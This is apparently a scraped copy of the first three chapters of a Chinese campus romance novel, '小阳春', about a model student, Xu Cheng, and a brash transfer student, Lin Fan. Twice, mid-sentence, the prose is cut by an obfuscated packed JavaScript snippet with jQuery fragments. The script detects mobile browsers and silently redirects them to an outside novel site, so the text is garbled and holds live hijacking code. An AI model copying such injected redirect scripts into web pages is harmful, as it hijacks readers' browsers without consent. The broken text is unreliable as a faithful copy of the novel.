《小阳春》
1. 第 1 章
外婆常常嘱咐许橙打理好刘海。
2012年这会儿,很多女中学生都留刘海。但和别的女生不一样,许橙留刘海,不是为了好看,而是为了遮住一颗痣,眉心一颗深棕色的小痣。
这颗痣有个好听的名字,观音痣,是一个老和尚告诉的。他还严肃地说,必须把这颗痣遮一遮,否则容易生出不好的事。
外婆信佛,那一回,就是带许橙去寺里祈福的。这样一听,她急得慌,从此许橙的额头上多了层薄薄的刘海。
从小到大,许橙都认为老和尚在说瞎话。痣就是正常的生理现象,有什么好不好、坏不坏的?但是为了让外婆安心,她还是留了刘海。这也没什么,还可以衬得脸小一些。
不巧,今天班里的空调坏了,很热,额头上出了一层薄汗。许橙问好朋友唐小雪借了一个发卡,把刘海斜卡上去。
这一天,许橙第一次赞同老和尚的话。
这是2012年的九月初,云中作为杭市重点高中,三个年级都提前开了学,已经上了半个月的课。
高一一班的许橙同学作为市三好学生、初中优秀毕业生,生平第一次挨处分。
还好,是差点儿,最终没挨上。
夏末仍有骄阳,将大地滚得炽白。吃好午饭的时间,朦胧的困倦裹着学校,连虫鸣鸟啼都少,快午休了。
其他同学吃好饭,陆续回了班里。许橙没回班级,去行政楼帮语文组拿这周的《语文学习》杂志,她是语文课代表。
拿好杂志回高一楼,许橙抄小道,走那条翠阴阴的紫藤花廊。这时节没有紫藤花开,唯有沁绿色的叶子一蓬蓬架着,泼下浓浓的荫,很清凉。
刚到花廊入口,有个矮小单薄的男生迎面跑来,连跌带撞地擦过许橙身侧,却连声“抱歉”也没说,飞奔得仓皇。
许橙觉得奇怪,但没多想,她刚巧在琢磨今天该什么时候把语文作业抄到黑板上。
该多想一想的。
因为,花廊尽头,是两个男生在打架。
两个男生扭打在一起,非常激烈。又高又壮的那个,许橙知道,是高年级出了名的混混。另一个也高,甚至还没穿校服——在云中这个严到指甲该剪多短都有规定的地儿。
这情形,不用多想,肯定是两个混混约架。许橙很明智地转身就走。
“别跑!不许告老师!敢告老师老子就连你一块儿揍了!”高年级混混立马开口,恶狠狠地,他以为许橙要通风报信。
他的声音特别凶,许橙吓了一跳,慌忙间撒了手里那叠杂志,她连忙蹲下身捡。
“啧。威胁女生算什么本事,你这人还怕老师?”另一个男生懒懒开口。
他的嗓音含笑,显然挑衅,继而漫不经心地往许橙这儿一瞥,一下愣住。
“许——”
可男生的话没有说完,混混趁他分心,猛地上了一个勾拳,直砸在他腹部。受了疼,男生闷哼一声。
捡着杂志的许橙不解抬头,她没听清男生说了什么。但,没有什么可听的,许橙捡好书本就起了身,想脚底抹油开溜。
“喂!你们三个干什么呢!”
转了身,是气势汹汹的巡逻保安。
许橙脸色煞白。
三个人被逮个正着,扭送教务处。
云中有条成文的规定,凡是查到打架斗殴、违规使用电子产品等违纪行为,在场所有人都有份,因为一个巴掌拍不响。
许橙紧紧抱着怀里的杂志,跟在保安身后,步子格外滞重,拖泥带水。从没被处分过的女孩子,现在难过极了。
真正的罪魁祸首们倒是一点儿也不难过。
高年级混混愤恨地瞪着男生,要不是保安在,下一秒就又要扑上去打作一团了。
“操,我说你他妈的多管什么闲事?我操,现在好了吧!”
男生一句话也不回。他双手插着长裤口袋,模样很闲散,很吊儿郎当。混混苍蝇似的嗡嗡嗡说了好些话,全是肉包子打狗,有去无回——虽然不能这么形容。
那些话,许橙一句也没听。她虽然难过,但没昏了头脑,紧锣密鼓地在心里打算盘,等一下该怎么解释,当然不能就这么连坐了。
教务处的老师,再怎么说,也该有点人性吧?
没有。
在教导主任马中海眼里,这显然是一桩因两男争一女而引发的、极其恶劣的早恋兼斗殴事件。是可忍,孰不可忍。
马中海,人如其名,长了一张长马脸,头顶上摊一块地中海。他的脑袋在光下面亮锃锃的,教务处办公室可以少买一只灯泡。
许橙先被叫进办公室,两个罪魁祸首留在外面。马中海上下扫她两眼,大手一拍猪肝红办公桌,唾沫星子随即飞出来。
“极其恶劣,极其败坏校风!请家长,必须请家长,现在就给你家长打电话!马上回家反省一周!”
许橙急忙把刚刚想好的证词一股脑儿说出来,语速特别快。她是去帮语文老师拿杂志的,刚好路过紫藤花廊,并不认识那两个人。她边说,边把杂志递给马中海看。
“错了就是错了,还敢狡辩!”马中海最不容人质疑,又一拍办公桌,怒容满面。
桌子震了震,许橙也震了震。她从来没有被老师训过,就算是初中最严厉的科学老师,见了许橙,嗓门都不会提高一点儿。因为她很乖巧,是绝不让老师操心的类型。
还是十五岁的女孩子,这样被对待,许橙不受控制地下撇嘴角,眼泪汹涌上来。
眨眨眼睛,她忍住眼泪,又轻又诚恳地问:“马老师,能不能不给家长打电话?”
马中海横眉倒竖:“居然还敢讨价还价,做错事不让家长知道你还想——”
就在这时候,门敲响了。
只三下,敲得很随意。
没等马中海说请进,门自顾自开了,男生自顾自走进来。许橙低垂的视线里多出一双运动鞋的鞋尖,停在她不小心打出的泪花边上。
“她没做错事,为什么罚她?真要罚,那就把她那份加在我这儿。”男生还是双手插着口袋,语调和人一样桀骜不驯。
啊?他——
他和马中海这么说话啊?
许橙的眼泪都忘了攒,诧异抬头,果然看见马中海的脸变得和桌子一样红,猪肝红。
从来没有人敢这么和他说话,马中海怒斥:“你是哪个班的!叫什么名字?早恋、打架、不穿校服,居然还敢顶撞老师——”
“没有班级,刚交的转校申请。”男生耸了耸肩,“我家长现在就在隔壁说话,辛苦您和他沟通好,我也好回去休息十四天。”
隔壁是校长办公室,马中海的神情一下子古怪。片刻,他朝许橙厉声说:“你先出去等着,等下再叫你回话!”
许橙在走廊上等,心揪得紧紧的。马中海一贯铁面无私,以前有老师的孩子违纪,他也给了处分,这事儿在学校里传得可热闹。大家都说,马中海还真是一视同仁。
这个男生……她不傻,当然看得出马中海刚刚的错愕。是因为他家里的关系很厉害吗?许橙有些五味杂陈。
过了十分钟,办公室的门开了。马中海走出来,男生跟在他身后。
马中海还是板着脸,但对许橙说:“下不为例,再出现这种事情就按校规处置!好了,你回去上课吧!”
说完,马中海带了高年级混混进去,办公室门砰地关上。许橙还有些懵,停在原地。虽然有所预料,但是……
来不及多想,虚靠在墙上的男生,眯起眼睛望她,视线很直接。
许橙的心跳一滞,有些怯地低下头,并不敢直视他。
对面没有说什么话,她纠结了一会儿,还是小声说:“谢谢你。”
虽然是因为他,她才来了教务处,但是,也毕竟是因为他,她才没有受处分。许橙待人接物,一向来都很有礼貌,知道感恩。
男生挑了挑眉,视线却有些别扭地移开。再移回时,他嗤笑了一声,轻飘飘的。
“你是应该谢谢我。没有你的话,我马上就把他打趴下了,不至于到这儿走一趟。”
许橙的脸腾地红了。
男生依旧不遮掩地盯着她,视线灼灼,同时蹙起眉:“你真的……”
他没再往下说,只是有些烦躁地抿抿唇。
这回,许橙清清楚楚地听到他说的话了,她不明所以——她真的什么?
她很想问,可对上这双又冷、又带着点儿戾气的眼,下意识地闭紧了嘴。
外婆说,不要和不三不四的人打交道,譬如那些不读书的混混、社会青年。这个男生,又打架、又顶撞老师……
“我叫林凡。”
男生突兀的开口介绍,打断许橙的思绪。
他的声音清朗,像小溪凛冽潺潺的水。许橙不禁抬起眼,第一次正正经经地看他。
十六岁的少年,还没有完全成熟,但隐约有了些成年人的轮廓。五官线条分明,剑眉浓得像墨,鼻子直挺,唇薄。
看上去,少年英气,但十足冷淡。
和冷淡的气质不和
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16467337|185511||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
谐的,是那双桃花眼。弯弯的,亮晶晶,好似天生带笑。
男生无疑长得好看,许橙稍怔了一下,但很快就皱了皱眉。刚刚,他是在自我介绍?可她没有觉得他们有认识的必要。
可林凡就这么盯着她,好像她不说出点什么,就不放她走似的。隔了好一会儿尴尬的沉默,许橙才只好说:“哦。”
但好像更尴尬了。
林凡皱了皱眉。
真不认识他,还是装的?
他忍下这些话,只冷淡抛过去一句:“你在哪个班?”
许橙抿了抿唇。
刚刚,她已经把他划进“混混”那一栏。现在,混混想知道她的班级,除了打击报复、调戏骚扰之类的事,许橙想不到别的。总不能,他是来请教她学习问题的吧?
看到她这表情,林凡弯了唇角,勾起笑,整个人显得更痞气:“我要是想报复你,为什么刚刚还要帮你?”
心思被戳破,许橙红了脸。
“高一十班。”她慢吞吞地说。
林凡若有所悟地点了头,好像信了,却又挑眉:“你还挺聪明。但这门隔音不好,刚刚你在里面说的话,我全都听见了。”
“马老师,我是高一一班的许橙。”
在办公室里,她这么和马中海介绍。
许橙浑身的血涌上脑袋,耳尖红透。
林凡扯了扯嘴角,插着口袋,转身走了,只留下一句话在风里:
“你别担心,我转的是高二。”
许橙又羞又窘,唇都快咬破了,然而男生走得潇洒利落,并没有回头。
她在原地油煎火烧,直到一阵凉凉的风来,才激得许橙回过神。她抱紧杂志,逃命似的离开。教务处实在是一个是非之地。
然而到转角,听见了交谈声。
林凡在校长办公室门口。他立在一个高大的男人身侧,样子依旧散漫,抿着唇,一言不发,冷眼看男人笑容满面地和校长握手说话。
“方校长,以后云中无论需要什么,随时联系我,当然——”男人瞥了眼林凡,脸上还是带笑,“他要是干了什么事,该罚则罚。”
许橙不自觉缓下脚步。
男人,应该就是林凡的爸爸。他西装革履,架着金边眼镜,很斯文,看上去像大学教授。不知道为什么,许橙对他有一种说不出的熟悉,但她并不认识他。
看到旁边的林凡,许橙又觉得奇怪。这一对父子实在不像父子,因为林凡和斯文二字,嗯,她觉得不沾边。
校长进了办公室,许橙也打算离开,她并不想偷听别人说话。可是,男人和蔼可亲的笑容突然收了,速度很快,像川剧变脸。
许橙愣了愣。
他抓起林凡的手臂,上面有几道新鲜的伤,刚刚打架落下的。可不像寻常父母那样,男人没有皱眉,也没有焦急询问,只是盯着林凡。
林凡已经很高了,一米八出头,但他爸爸还要高一些,居高临下,神色异常轻蔑。
他给了林凡一个巴掌。
男生偏过脸,默不作声。
“林凡,我警告你,不要在这里惹是生非丢我的脸。你有什么烂摊子,我不会处理的,听明白了吗?”
男人的声音压低了些,但许橙还是听见。
林凡淡淡移开视线,没说话。
父子从另一个方向的楼梯离开,身影消失不见,许橙才回神,她的眉皱了很久。
铃响了,叮铃铃,是午休下课的铃。
许橙摇了摇头,不要多管闲事了,她转身下楼。
知道刘海没有放下,是到了语文组交杂志,语文老师看到许橙,夸她:“许橙,你刘海夹上去也很好看的呀,额头多白净!”
许橙惊讶地摸摸额头,果然,光的。
卫生间洗手台有一面很大的镜子,许橙茫然地盯着镜子里的女孩子看。
黛眉下,杏眼尤其大、尤其亮,像盛了泓清泉。分明的双眼皮和卧蚕,衬得这双眼在面上更显,于是鼻子和嘴唇都更小巧、精致些。
观音痣好端端地躺在那儿,像画笔点上去的,可擦不掉。许橙迟疑了一下,拿下发卡,拨散刘海,重新盖住它。
午休结束有一会儿了,还没上课。窗帘卷起,教室落进明亮的光线,大家灌水、上厕所,只有少数人还趴在桌子上呼呼大睡。
走到后门,许橙大大地打了个哈欠,她一中午没睡,现在头有些昏昏沉沉。
打一半,停了。
靠窗第四组的最后排,多出了一张桌子。
2. 第 2 章
高一一班是重点班,按中考排名分的班,标准的四十个人。
这一张桌子,显然是新添的。
许橙坐在第四组倒数第二排——现在是倒数第三排了。她呆呆地走回座位,很不确信,一遍又一遍往空桌子看。
“许橙,你怎么现在才回来?”唐小雪放下手里的镜子,向空桌子努努嘴,“你看你看,有人要转到我们班。”
“在语文组看杂志呢。”许橙下意识地撒了谎,说完,即刻红了脸。她把发卡还给唐小雪,心跳又加速,“有人转学吗?”
可是林凡不是说,他转去高二吗?
小圆镜子映出唐小雪俏丽的鹅蛋脸,她对着镜子左看右看,上看下看,边看边说:“老余刚让人搬的桌子,他说这人是上海转过来的,你说震不震撼?”
老余是她们班班主任,教英语。
“上海?”许橙重复得僵僵的。
“对啊,上海!”唐小雪特别喜欢上海,“上海那么繁华,高考又那么简单,怎么还会有人从上海转到杭市?我大学一定要去上海读。许橙,你妈妈不就是在上海吗?”
许橙轻轻“嗯”了一声,唐小雪后知后觉,移开话题:“要是是个帅哥就好了,给我们班增加一点光彩,哎我们班现在真是——”
许橙想到那双桃花眼。
心一滞,她摇摇头。
这一天,许橙走神的次数不少。
不是因为林凡,而是因为上海。上海在唐小雪那里是鲜艳的,可在她这里却是灰暗的。
因为她从没有去过上海,也很久没有见到妈妈了。
晚自习下课,许橙回寝室,和外婆打电话。她难得心不在焉,外婆很容易听出来,关切地问,橙子怎么啦?
做了好久的心理准备,许橙才敢开口,但依旧很没有勇气。她问:“妈妈......和杜叔叔还有弟弟,他们还在上海吗?”
电话那边没有声音,外婆愣了一下,再开口时,语调有些沉:“总在的吧,也没说过要回来。我好久没和你妈打过电话了,学校里有事情要叫你妈过去吗?”
“没有,就是突然想到了。”许橙很快转过话题,“外婆,明天天气怎么样呢?”
“明天要下雨,记得带伞去教室啊,不要淋雨淋感冒了。”外婆也没再提她妈妈的事。
挂了电话,话筒揿进座机,小小的“咔哒”一声,叩在许橙心上。
三年前,杜叔叔工作调动去了上海,妈妈她们都跟着离开了杭市。她上一次见妈妈,是在妈妈和杜叔叔的婚礼上,那是七年前了。
那时候太小,才三年级,杜叔叔长什么样,许橙不记得了。杜叔叔还有个儿子,比她大一岁,样子也不记得了。
只有妈妈的样子记得,后来一张相片里,妈妈抱着弟弟笑得灿烂的样子也记得。
今天到底是怎么了,思绪这么乱。许橙叹口气,走到阳台,趴着栏杆放空。
天外星子漫布,一闪闪,像眨眼睛。倏忽间,她再次想到那双天生含笑的眼。
好像很久以前就见过,就像很久以前就见过这些星星那样。
这天晴好,第二天,却是下雨气象。
云阴沉沉地铺满天,压得很低,叫人透不过气。云中笼在将雨未雨的氤氲水汽里。
空调还没修好,天花板上的电风扇变得很辛苦,一天到晚嗡嗡嗡转。学生也很辛苦,笔尖沙沙沙不停。
现在是晚自习,这个时间,年级组查纪律特别严。但还是有那么几个人敢顶风作案,比如张多多,他溜去教室后面的答疑室拿书。
高中的书,不知道为什么能那么多,桌肚里塞满了,桌面上又高高垒了一摞,还是不够放。为此,学校在每个班的答疑室加了书柜。
张多多是许橙的后桌。他大名不叫张多多,是初中班主任天天喊他这个小名,还打趣说,不愧是多多,肉也多,长这么壮。于是到了高中,大家也还都这么叫他。
由于长得太敦实,老余把张多多安排在最后一排,和学霸周谨一做同桌。
周谨一靠窗,那张空桌子就在他后面。
张多多蹑手蹑脚溜回座位,说:“稀奇稀奇,老余不在答疑室,他这节课不打算介绍那个转学生?那人什么时候过来?”
周一晚自习,老余通常会讲些班级事务。
旁边的周谨一没说话,倒是侧前方的唐小雪撂下笔,兴冲冲搭腔:“哎呀——真是期待死了,弄得我都不想写作业了。”
“嘿?你可就给自己找借口吧,不想写作业就不想写作业。”张多多拆穿她。
唐小雪差点要和张多多掐起架,可突然一阵脚步声,吓得两个人都缩回脑袋。
还好,是孙佳怡走过来,唐小雪和张多多双双松一口气。
埋头做作业的许橙提起一口气——孙佳怡当的是数学课代表。
孙佳怡笑眯眯地拍许橙肩膀:“许橙,老邵让你去他办公室面批试卷。”
张多多笑得幸灾乐祸,唐小雪安慰地拍了拍许橙,颇有风萧萧兮易水寒的味道,周谨一关切地抬起眼,温和笑笑。
老邵,数学老教师,全校数学组最严厉的人。每逢老邵值晚自习的班,他都会逮几个人面批作业。上周有周测,这次恰好轮到许橙。
许橙考了116,已经超了平均分,其实是个不错的分数——如果不看旁边那张147的话,那是周谨一的。
老邵对许橙还算温柔,她做得不错,基础题都做对了,就是一些中上难度的题没有拿分。老邵提点她,要多训练思维,多做难题。
许橙的成绩蛮均衡,就数学稍微弱一点儿。要提升竞争力,一定要学好数学,许橙知道这一点。
回班的路上,她边走边思考,该买什么教辅做一做。
有掌声雷响似的炸开,是班里传来的。许橙茫然一瞬,很快明白,是那个转学生来了。
但她还在计划数学怎么办,现在,没有分心去想新同学的事。不知不觉间进了后门,班里十分热闹,许橙终于好奇地往讲台一瞥。
她差点来了个平地摔。
怎么是他?
老余站在讲台上,身边是林凡。
林凡也看见了许橙。
见新同学,林凡面上微笑,看上去挺和气。可他随即落在许橙身上的视线,冷的。
许橙的心跳停了停。好在,林凡并没有在她身上停顿,他很快移开。
回到座位,许橙的腿都软了,几乎跌坐下去,慌得不行。唐小雪来不及注意她的奇怪,兴冲冲推来一张草稿纸。
纸上写着三个大字:很帅啊!!!
许橙的太阳穴有隐隐的疼。
老余还在说话,唐小雪继续翘起脑袋,津津有味地看林凡,兴致可足。许橙也只好抬头,现在这个时候低着头,有点不合时宜。
今天,林凡穿了校服,很像一个规矩守纪的正常学生。只是单肩背着的书包,以及略显随意的站姿,明明白白透露出来,显然,他还是那个林凡。
“以后林凡和大家就是同学了,大家有问题相互请教。接下来好好自习,不要东张西望的让年级组开罚单。”老余指了指角落的座位,“林凡,你坐那儿去。”
林凡便从三四组的过道往下走。
许橙的座位靠过道,他会掠过她。
男生走动的幅度大,校服外套又是大大咧咧敞开,经过的时候,衣角拉链扬起,在许橙的桌面上划了一下。
金属撞击的声音,很清脆。
同时,风里送来一点薄荷味。
他没看她。
许橙完全怔在座位里,林凡走了过去,她才慌忙低下头。脑袋里那一锅粥,早就煮成什么也不知的浆糊,乱糟糟的。
草稿纸再次推过来,许橙抿抿唇。
唐小雪:你错过他的自我介绍了!
许橙:没关系,自我介绍都差不多。
唐小雪:那可不一样,他是上海来的诶!不过,他说他是杭市人。但不愧是在上海待过的人,很有大城市气质的嘛。
这节课,许橙发愣很久。
第一节下课,走廊上挤了好多人。晚自习的教学楼安静到极点,所以那一阵掌声惊动了整栋楼。现在,大家都跑来看热闹。
许橙和唐小雪灌水回来,教室门口挤挤攘攘的。唐小雪不想这么快就回班里,刚巧,有认识的初中女同学拉她说话。
“唐小雪,你们班来了个转学生啊?是不是坐角落的那个?长得还挺帅。”女同学问。
唐小雪蛮得意,骄傲地点点头:“就是那个,他叫林凡,双木林,超凡脱俗的凡。”
她们都爱看韩剧,唐小雪尤其喜欢,她立马问女同学,林凡是不是有点像那个谁谁谁,两个人就这么热火朝天地聊起来。
许橙不看韩剧,不认识那些人,没一起说话,只静静地往班里看。
角落多出的那张桌子,在格局规整的教室里很显眼,更显眼的,是坐着的人。
男生靠在椅背上,拿着书,戴着耳机。林凡好像不论做什么动作都有一种天生的慵懒,闲散,漫不经心。
走廊里那么多人叽叽喳喳说话,都是讨论他的,他似乎没听见,又似乎置之度外,脸上没什么表情。
“他胆子真大,带手机来学校。”唐小雪压低声音,话题不知道什么时候转到了这里,“苹果的最新款诶,不愧是上海来的,我那个还是前年出的呢,我妈妈给我的。”
还是高中生,大家的手机,大部分都是家里长辈用剩下的。就算买新的,也会选经济实惠些的牌子。许橙是新的,因为外婆用的是老年机,家里没有剩下的智能机。
女同学打趣唐小雪:“长得帅,还有钱,唐小雪,你不会看上人家了吧?”
“哪有!我哪里是那么肤浅的人!”唐小雪佯装揍人,两个人又嘻嘻哈哈闹起来。
许橙的注意力重又放到林凡身上,她觉得有点奇怪,他现在的样子那么沉静,甚至有点儿称得上遗世独立,不像个不读书的混混。
“让一让!哎!大家让一让!”孙佳怡捧着一大叠白花花的答题卡,“让让让让——发数学试卷了!”
数学试卷好比洪水猛兽,一听到,走廊上的人连忙往两边散。许橙终于收回视线,却看见孙佳怡走向林凡,兜兜转转,目光又回落他身上。
不知道孙佳怡和林凡说了什么,他站起了身,往后门走来,是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16467338|185511||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她们的方向。
许橙连忙垂下眉眼。
看到数学试卷,唐小雪一下把林凡抛诸脑后,拉拉许橙衣角,问:“许橙,你刚刚去面批了,有没有看见周谨一考几分?”
林凡朝她们这儿走过来了。
许橙的呼吸紧起来。
“你没看见?”唐小雪嘟哝,“老邵不总爱拿他当范本吗?估计又是一百四十几,他当了这么久第一现在终于有人可以治——”
唐小雪的话说到一半,停了。
林凡停在她们身前。
许橙刻意顿住呼吸,敛目,只看到他的球鞋,鞋面很干净,没有任何斑驳污渍。
“数学办公室在哪儿?”林凡看着许橙,眼神和看别人没有什么区别。
“在高一高二楼中间的连廊,在下面三楼。”唐小雪喜欢抢答。
林凡道了谢,转身离开。许橙好久才抬眼,男生的背影恰好过了转角。
她对着那个方向迟滞几秒,回神时,后知后觉地、心虚地觑了唐小雪一眼。
还好,唐小雪还在和女同学争执原来的那个问题,林凡是不是很像那个谁谁谁。
许橙松下一口气。她不打算说出和林凡提前见过的事。一方面,觉得麻烦;另一方面,觉得不太好,会影响别人对他的印象。别人怎么看林凡,她不想插手。
许橙现在担心一件事,他还会找她吗?
林凡说,他转去高二,现在看来,是他故意骗她的。既然转来高一,隔壁二班也是重点班,他怎么偏偏来了一班呢?许橙非常忐忑。
预备铃响,唐小雪和女同学道了别,拉许橙回班里。
数学试卷下发完毕,大家捧着试卷唉声叹气,只有第四组的角落与众不同。
张多多摩挲下巴,对数学试卷啧啧有声。旁边,周谨一一动不动站着。
周谨一本来就偏瘦,和张多多一比,显得更清瘦了。他低头看试卷,很安静。
周谨一当然安静。
“我想起来了,刚刚看到周谨一的试卷了,他考一百四十七。”许橙补充说明。
“又这么高!”唐小雪张牙舞爪,趴周谨一桌上问,“周谨一,你那三分扣哪儿了?”
“最后一小题算错了。”周谨一抬起头,推了推眼镜,看向许橙,“许橙,你试卷第一节课就拿回来了,现在订正好了吗?”
第一节课……第一节课本来是要订正的,但走了一节课的神。
“还有几道题不知道怎么订正,我下节课再想想。”许橙说得含糊。说完,她不自觉往周谨一身后看,座位空着,林凡还没回来。
周谨一点头:“不会的可以等下写张纸条问我,这张卷子我基本都会了。”
“听者有份啊,周大神我也要解析,我好多不会呢。”张多多笑得贱兮兮。
“你要个屁。”唐小雪把张多多的答题卡拿起来抖了抖,上面打着红彤彤的136,“再说了,你和人家是三岁起的青梅竹马吗?周谨一才不会闲得慌给别人写解析呢。”
正好,林凡走回座位,往前扫了一眼。
青梅竹马?
许橙已经转过身,低头看试卷了。
周谨一和许橙三岁就认识,长辈关系好,又同住一个小区,从小一起长大。两个人可以说是童年玩伴,可以说是发小,也可以说是青梅竹马,都是一个意思。
“唐小雪,你要是有问题,当然也可以写纸条给我,我也会教你的。”周谨一温言说。
“周谨一你真好!”唐小雪笑得眼睛弯弯,酒窝都出来了。
张多多立马做鬼脸:“唐小雪,我怎么不知道你还会订正呢?不都扔一边不管吗?”
唐小雪一又和张多多吵嘴仗,直到正式上课才停。一上课,教室就没了声音。
但许橙的脑袋吵吵嚷嚷,思绪一个又一个,是咕嘟咕嘟冒个不停的泡泡。
这样走神,她很懊恼,但没有办法,长这么大,她还没遇到过这种事。
终于捱到了下课。晚自习下课,本来,许橙会在班里留十分钟,复盘一天的学习内容。因为大家都回了寝室,教室会很安静。
今天,她知道自己没有心思学习,可还是留下了。她想等一等,等人走得差不多,自己再回去,想来,这样就不会撞上林凡。
等到班里没了人,许橙试探地转过身,装作看周谨一的桌子。
万幸,林凡的位置已经空了。
许橙喧哗的心安顿下来。
收拾好东西,她去关窗。窗户和灯都是由最后一个离开教室的人关的,许橙差不多包揽了这项工作。
风很大,满是潮湿细腻的水汽,快要下雨了。关了灯,外面的走廊也是暗的,天上没有月亮,光线晦涩得几乎看不清东西。
许橙走出后门,愣在原地。
即便在浓浓的一团夜里,男生的身形也太过出挑,一眼就知道是他。
又或是,她刚刚实在是想了他太久,他的身形,她变得那么熟悉。
“你——”许橙吓得出声。
林凡背靠栏杆,姿态足够散漫。声音不轻不重,刚好能让她听见。
“你出来得够迟的,我在等你。”
3. 第 3 章
许橙没来得及说话,先咳了两声——这里有烟味。
她背手掩住口鼻,望过去,浓重的夜里有火星明灭,是林凡的指间衔着支烟。
微微火光里,白烟腾起,被风一抹,散得很快,但许橙还是呛到了。
许橙拧了眉,林凡违纪,她已经见怪不怪了,但是这人怎么还在学校抽烟呢?真讨厌。
“呵。”林凡轻笑一声,玩味地盯着她。
顾不及生气,许橙又连咳了两声。林凡沉默须臾,直起身,走了过来。
许橙吓得后退,可林凡只是经过她,进了答疑室。再回来时,他手上已经没有烟了。
许橙想,大概只是抽完了。
林凡站到她前面,两步的距离。他比她高了有二十公分,所以垂着视线看她。
“不说话,当哑巴?”
他说话真不好听,许橙心里烧起火。她能说什么?说你干嘛大晚上的在这里堵我吗?
但是,能不惹事就不要惹事,这是许橙的宗旨。她低下视线,有淡淡的林凡的影子延伸到她身前,她对影子说:“你放心,我不会和别的同学说教务处的事的。”
她的语气很认真,很诚恳,很识时务者为俊杰。可是话落了,男生却仍旧一声轻笑,漾在晚风里,影影绰绰。
“你以为我现在是来威胁你,让你闭嘴的?许橙,你把我想得还真是……”林凡顿了顿,倒也直白,“不过我确实不喜欢话多的人。”
许橙觉得前半句话很莫名其妙,你都堵我了,不是来威胁我的,那还能干什么?
但她不敢吭声,就低头默着。
“抬头。地上有钱?一直低着头。”
林凡的话还是这么难听。
许橙想,林凡不仅是个混混,或许还是个神经病。她咬紧牙,愤愤地抬头。
抬了头,却有些愣。
林凡很认真地看着她,目光沉沉的。
“我们以前有没有见过?”他一字一顿。
“我们以前应该见过吗?”隔了好一会儿,许橙才讪讪地答。
要是见过,她一定有印象。所以这句话,显然是一个脑筋急转弯,只要她承认没见过他,就相当于不知道他打架的事情。
许橙觉得自己很聪明。
林凡在黑夜里一动不动,他的身后,风卷着一大块厚重的云往西边跑。很久之后,久到一那整块云都过去了,他才开口。
“你觉得呢?”林凡说。
“没见过。”许橙的语气更加诚恳了。
林凡面色稍动了动,轻嗤一声,是气笑,又是借着这个音咽下某句话。
风大,把他的声音吞没了,许橙没听得太真切。她沉浸在自己的正确里,觉得林凡是回答了个“嗯”,这就达成了共识。
既然达成了共识,那就是化敌为友。毕竟,他和她以后是同班同学嘛。
趁林凡不说话,许橙大着胆子问:“你不是说转去高二吗,怎么来高一了?”
林凡笑了一下,这次许橙听得很明白,然后她的脸就红了。因为这声笑很清晰,很讥讽,是在嘲笑她。
“以其人之道还治其人之身。”
林凡说完这句话,转身就走了。大步子,还是那么干脆,什么告别的话也没有说。他也像一阵风似的,突然出现,突然又走。
但不管怎么样,总算是解决了问题,许橙终于松了心,长舒出一口气。
天气也像是契合她的心绪,憋了一天的雨,忽然哗啦啦地尽数落下。
硕大的雨珠打在铁栏杆上,叮叮咚咚奏起乐。顷刻,雨幕将教学楼内外隔开。风催着雨斜进来,捎落大片大片的潮湿。
许橙拿出折叠伞,匆匆下楼。
跑到一楼最末的台阶,她一个急刹,运动鞋和瓷砖地面发出刺耳的摩擦声。好在雨大,站在楼道口的男生似乎没有听见。
林凡立在那里,望着雨,没有回头。
许橙凝在台阶上好一会儿,才轻手轻脚下去,站在林凡几步后的位置纠结。
他怎么还没走,是因为没带伞么?她应该说点什么话,否则静静地站在人家身后,像个鬼,容易把人吓一跳。可是,说什么呢?
楼道口好闷呀,心也闷起来,像大雨里不通风的教室。
她不该多管闲事的,尤其对象还是林凡。可是雨翻山倒海地下,满天满地都是雨。虽然天气还热,但正值夏秋换季,一淋雨,很容易生病的。
“林——”凡。
许橙终于开了口,可这个做了好久心理建设才喊出的名字,第二个字就没了音——林凡大步走进雨里。
许橙目瞪口呆。
“林凡!”她很少这么大声叫人。
男生笔挺的身形在雨中一顿,转过了身。这儿有路灯,透过雨,暖黄的光沁在他身上,许橙清晰地看见林凡的神情。淡淡的,因为雨而眯起眼睛。
“我带了伞,可以捎你回寝室。”许橙着急地撑起伞,跑到林凡身边,“谢谢你昨天帮我说话,然、然后,现在我们也是同学了。”
意思是,应该互帮互助的。
“那么你还算有点良心。”林凡挑了眉,说的却是这么一句话。
许橙哑了,他这个人,嘴里是真的没有什么好听话诶。
看她这哑口无言的样,林凡满意地牵了牵唇角:“不用了,我通校,不回寝室。”
他说完,转身就从伞下出去,没再看许橙一眼。迅疾的大雨打他身上,林凡好像没有一点所谓,自顾自就往风雨里走。
许橙愣愣地,愣愣地站在空了的伞下很久,直到雨势大得不行,再站下去,鞋子就要泡湿了,她才扭身往寝室走。
雨水噼里啪啦倒在伞面上,很响,有点吵。许橙紧握伞柄,心绪百般复杂。
怎么是这样一个人呢。
回到寝室,她去阳台放伞,唐小雪刚好在收衣服。今天有一种梅雨季的味道,闷热潮湿,晒出去的衣服都干不了,要用吹风机吹一吹才行。
唐小雪手上收着衣服,眼睛却望着对面寝室楼,说:“许橙,林凡住哪个寝室,会不会和周谨一一块儿?我记得周谨一他们寝室还有个空位。”
对面楼是男生寝室,这会儿灯火通明,不时可以看见在阳台上走动的男生。
“他——”他通校。话到嘴边,许橙急急地拐了弯,“有可能吧。”
还好唐小雪往下叨叨:“后天就月考了,第一次月考诶,不知道能排多少名。周谨一肯定不紧张,他那种人——”
